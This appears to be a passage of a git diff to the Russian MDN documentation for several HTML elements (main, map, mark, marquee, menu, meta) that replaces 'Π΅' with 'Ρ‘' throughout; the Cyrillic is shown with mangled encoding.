&lt;article&gt;
&lt;h2&gt;Π‘ΠΎΡ€Ρ‚ "Π“Ρ€Π΅Π½Π½ΠΈ Π‘ΠΌΠΈΡ‚";/h2&gt;
- &lt;p&gt;Π­Ρ‚ΠΈ сочныС, Π·Π΅Π»Π΅Π½Ρ‹Π΅ яблоки ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΈΠΌΠΈ ΠΈΠ· самых популярных Π² ΠΌΠΈΡ€Π΅.&lt;/p&gt;
+ &lt;p&gt;Π­Ρ‚ΠΈ сочныС, Π·Π΅Π»Ρ‘Π½Ρ‹Π΅ яблоки ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ΄Π½ΠΈΠΌΠΈ ΠΈΠ· самых популярных Π² ΠΌΠΈΡ€Π΅.&lt;/p&gt;
&lt;p&gt;... &lt;/p&gt;
&lt;p&gt;... &lt;/p&gt;
&lt;/article&gt;
@@ -93,7 +93,7 @@ translation_of: Web/HTML/Element/main
<h3 id="ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€">ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;main&gt;</code> Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">Ρ€ΠΎΠ»ΡŒ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€Ρ‹</a> ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСхнологиями для быстрой ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ большим Ρ€Π°Π·Π΄Π΅Π»Π°ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <code>&lt;main&gt;</code> вмСсто объявлСния <code>role="main"</code>, Ссли Π½Π΅ Π½ΡƒΠΆΠ½Π° <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;main&gt;</code> Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">Ρ€ΠΎΠ»ΡŒ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€Ρ‹</a> ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСхнологиями для быстрой ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ большим Ρ€Π°Π·Π΄Π΅Π»Π°ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт <code>&lt;main&gt;</code> вмСсто объявлСния <code>role="main"</code>, Ссли Π½Π΅ Π½ΡƒΠΆΠ½Π° <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<h3 id="ΠŸΡ€ΠΎΠΏΡƒΡΠΊ_Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ">ΠŸΡ€ΠΎΠΏΡƒΡΠΊ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ</h3>
diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html
index 751a526d64..502f0414ba 100644
--- a/files/ru/web/html/element/map/index.html
+++ b/files/ru/web/html/element/map/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/map
<td><a href="/en-US/docs/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td>Π›ΡŽΠ±ΠΎΠΉ <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9F%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%B0">ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ</a> элСмСнт.</td>
</tr>
<tr>
@@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/map
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±Ρ‹Π΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>НСт</td>
</tr>
<tr>
@@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/map
<dl>
<dt>{{htmlattrdef("name")}}</dt>
- <dd>Атрибут name Π΄Π°Π΅Ρ‚ ΠΊΠ°Ρ€Ρ‚Π΅ имя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° Π½Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ. Атрибут Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π΅ пустоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ². Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° name Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с рСгистром совмСстимости со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° name Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта ΠΊΠ°Ρ€Ρ‚Ρ‹ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Если Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ id, Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΎΠ±Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</dd>
+ <dd>Атрибут name Π΄Π°Ρ‘Ρ‚ ΠΊΠ°Ρ€Ρ‚Π΅ имя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° Π½Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ. Атрибут Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π΅ пустоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ². Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° name Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с рСгистром совмСстимости со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° name Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта ΠΊΠ°Ρ€Ρ‚Ρ‹ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Если Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ id, Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΎΠ±Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html
index 4673a4eec8..e281d28bb6 100644
--- a/files/ru/web/html/element/mark/index.html
+++ b/files/ru/web/html/element/mark/index.html
@@ -3,7 +3,7 @@ title: <mark>
slug: Web/HTML/Element/mark
translation_of: Web/HTML/Element/mark
---
-<p><strong>HTML</strong> <strong>элСмСнт <code>&lt;mark&gt;</code> </strong>прСдставляСт тСкст, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ в справочных цСлях из-Π·Π° своСй <em>Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ </em>Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ контСкстС. <span id="result_box" lang="ru"><span>НапримСр, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span>Π±Ρ‹Ρ‚ΡŒ использован Π½Π° страницС с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ поиска, Π² которой выдСляСтся</span><span>Β </span><span>ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ</span>Β <span>экзСмпляр</span>Β <span>искомого</span> <span>слова</span><span>.</span></span></p>
+<p><strong>HTML</strong> <strong>элСмСнт <code>&lt;mark&gt;</code> </strong>прСдставляСт тСкст, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ в справочных цСлях из-Π·Π° своСй <em>Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ </em>Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ контСкстС. <span id="result_box" lang="ru"><span>НапримСр, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span>Π±Ρ‹Ρ‚ΡŒ использован Π½Π° страницС с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ поиска, Π² которой выдСляСтся</span><span>Β </span><span>ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ</span>Β <span>экзСмпляр</span>Β <span>искомого</span> <span>слова</span><span>.</span></span></p>
<table class="properties">
<tbody>
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/mark
<td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠ°</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содСрТимоС Ρ„Ρ€Π°Π·</a>, ΠΎΡ‰ΡƒΡ‚ΠΈΠΌΠΎΠ΅ содСрТимоС.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Ρ„Ρ€Π°Π·</a>.</td>
</tr>
<tr>
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/mark
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
+ <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
<td><span id="result_box" lang="ru"><span>Π›ΡŽΠ±ΠΎΠΉ элСмСнт</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содСрТимоС Ρ„Ρ€Π°Π·.</a></td>
</tr>
<tr>
- <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ»ΠΈ</span> <span>ARIA</span></span></th>
+ <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ»ΠΈ</span> <span>ARIA</span></span></th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html
index 8caafd13f3..3faaccd160 100644
--- a/files/ru/web/html/element/marquee/index.html
+++ b/files/ru/web/html/element/marquee/index.html
@@ -18,23 +18,23 @@ translation_of: Web/HTML/Element/marquee
<dt>{{htmlattrdef("behavior")}}</dt>
<dd>ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. ДопустимыС значСния: <code>scroll</code>, <code>slide</code> <code>ΠΈ alternate</code>. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>scroll</code>.</dd>
<dt>{{htmlattrdef("bgcolor")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° (ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя Ρ†Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° (ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя Ρ†Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</dd>
<dt>{{htmlattrdef("direction")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. <code>ДопустимыС значСния: left</code>, <code>right</code>, <code>up</code> ΠΈ <code>down</code>. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>left</code>.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. <code>ДопустимыС значСния: left</code>, <code>right</code>, <code>up</code> ΠΈ <code>down</code>. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>left</code>.</dd>
<dt>{{htmlattrdef("height")}}</dt>
<dd>Π—Π°Π΄Π°Ρ‘Ρ‚ высоту Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ….</dd>
<dt>{{htmlattrdef("hspace")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅ (margin) слСва.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»Π΅ (margin) слСва.</dd>
<dt>{{htmlattrdef("loop")}}</dt>
<dd>Π—Π°Π΄Π°Ρ‘Ρ‚ количСство ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΎΠΊ. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ -1, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π±Π΅ΡΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΡƒ</dd>
<dt>{{htmlattrdef("scrollamount")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ сдвиг Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС Π² пиксСлях. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 6.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ сдвиг Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС Π² пиксСлях. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 6.</dd>
<dt>{{htmlattrdef("scrolldelay")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ шагом Π² миллисСкундах. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 85. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ значСния мСньшС 60 Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ использовано 60, Ссли Π½Π΅ присутствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>truespeed</code>.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ шагом Π² миллисСкундах. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 85. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ значСния мСньшС 60 Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ использовано 60, Ссли Π½Π΅ присутствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>truespeed</code>.</dd>
<dt>{{htmlattrdef("truespeed")}}</dt>
<dd>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ значСния мСньшС 60 Π²<code> scrolldelay ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ</code>. Однако, Ссли присутствуСт <code>truespeed</code>, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ</dd>
<dt>{{htmlattrdef("vspace")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ отступ (margin) Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ….</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ отступ (margin) Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ….</dd>
<dt>{{htmlattrdef("width")}}</dt>
<dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ….</dd>
</dl>
diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html
index 1651378eda..7d0b236c41 100644
--- a/files/ru/web/html/element/menu/index.html
+++ b/files/ru/web/html/element/menu/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/menu
</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>
<p>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</p>
@@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/menu
<td>{{No_Tag_Omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">основной ΠΏΠΎΡ‚ΠΎΠΊ</a>.</td>
</tr>
<tr>
@@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/menu
<td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">list</a></code></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>{{ARIARole("directory")}}, {{ARIARole("group")}}, <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role">listbox</a></code>, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} ΠΈΠ»ΠΈ {{ARIARole("tree")}}</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html
index 4ce26b0214..86f9522953 100644
--- a/files/ru/web/html/element/meta/index.html
+++ b/files/ru/web/html/element/meta/index.html
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/meta
